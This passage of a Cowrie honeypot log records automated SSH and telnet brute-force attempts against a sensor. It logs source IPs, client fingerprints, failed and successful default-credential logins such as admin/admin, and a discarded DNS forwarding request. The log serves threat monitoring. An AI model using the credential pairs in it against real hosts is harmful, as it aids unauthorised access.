{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:26.106503Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56156,"dst_ip":"159.203.135.109","dst_port":22,"session":"b75a659a7533","protocol":"ssh","message":"New connection: 172.237.20.62:56156 (159.203.135.109:22) [session: b75a659a7533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:27.170526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:27.175629Z","src_ip":"172.237.20.62","session":"b75a659a7533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:27.337781Z","src_ip":"172.237.20.62","session":"b75a659a7533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:27.850052Z","src_ip":"172.237.20.62","session":"b75a659a7533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55428,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0e1ec44b105","protocol":"ssh","message":"New connection: 87.251.64.176:55428 (10.17.0.5:22) [session: c0e1ec44b105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:28.760327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:28.764687Z","src_ip":"87.251.64.176","session":"c0e1ec44b105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33226,"dst_ip":"159.203.135.109","dst_port":22,"session":"47d1c120e6df","protocol":"ssh","message":"New connection: 176.65.132.129:33226 (159.203.135.109:22) [session: 47d1c120e6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:28.836202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:28.840736Z","src_ip":"176.65.132.129","session":"47d1c120e6df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:28.860432Z","src_ip":"87.251.64.176","session":"c0e1ec44b105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:28.940320Z","src_ip":"176.65.132.129","session":"47d1c120e6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:29.018983Z","src_ip":"172.237.20.62","session":"b75a659a7533","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:29.150325Z","src_ip":"87.251.64.176","session":"c0e1ec44b105","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:29.249395Z","session":"c0e1ec44b105","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:29.347648Z","src_ip":"87.251.64.176","session":"c0e1ec44b105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:29.367285Z","src_ip":"176.65.132.129","session":"47d1c120e6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:29.582245Z","src_ip":"87.251.64.176","session":"c0e1ec44b105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:30.558263Z","src_ip":"176.65.132.129","session":"47d1c120e6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.160942554473877,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:31.381905Z","src_ip":"172.104.93.159","session":"ae7e3484bcad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.229424238204956,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:31.543118Z","src_ip":"102.142.30.146","session":"871374d9d43f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33228,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bf8a547509c","protocol":"ssh","message":"New connection: 176.65.132.129:33228 (159.203.135.109:22) [session: 2bf8a547509c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:32.478395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:32.482712Z","src_ip":"176.65.132.129","session":"2bf8a547509c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:32.564805Z","src_ip":"176.65.132.129","session":"2bf8a547509c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:32.810901Z","src_ip":"176.65.132.129","session":"2bf8a547509c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:33.897118Z","src_ip":"176.65.132.129","session":"2bf8a547509c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50962,"dst_ip":"159.203.135.109","dst_port":22,"session":"091e77f8c2ad","protocol":"ssh","message":"New connection: 176.65.132.129:50962 (159.203.135.109:22) [session: 091e77f8c2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:35.779813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:35.786252Z","src_ip":"176.65.132.129","session":"091e77f8c2ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:35.872066Z","src_ip":"176.65.132.129","session":"091e77f8c2ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:36.118435Z","src_ip":"176.65.132.129","session":"091e77f8c2ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:37.272915Z","src_ip":"176.65.132.129","session":"091e77f8c2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56842,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2c0085fda3b","protocol":"ssh","message":"New connection: 172.237.20.62:56842 (159.203.135.109:22) [session: f2c0085fda3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:37.992854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:37.997561Z","src_ip":"172.237.20.62","session":"f2c0085fda3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:38.159340Z","src_ip":"172.237.20.62","session":"f2c0085fda3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:38.645534Z","src_ip":"172.237.20.62","session":"f2c0085fda3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50978,"dst_ip":"159.203.135.109","dst_port":22,"session":"525670b82cb2","protocol":"ssh","message":"New connection: 176.65.132.129:50978 (159.203.135.109:22) [session: 525670b82cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:39.192572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:39.197029Z","src_ip":"176.65.132.129","session":"525670b82cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:39.281509Z","src_ip":"176.65.132.129","session":"525670b82cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:39.714773Z","src_ip":"176.65.132.129","session":"525670b82cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:39.809276Z","src_ip":"172.237.20.62","session":"f2c0085fda3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.264400720596313,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:40.046518Z","src_ip":"131.161.62.225","session":"1139bcad982c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:40.801639Z","src_ip":"176.65.132.129","session":"525670b82cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50980,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a2de507019","protocol":"ssh","message":"New connection: 176.65.132.129:50980 (159.203.135.109:22) [session: a5a2de507019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:42.870348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:42.875174Z","src_ip":"176.65.132.129","session":"a5a2de507019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 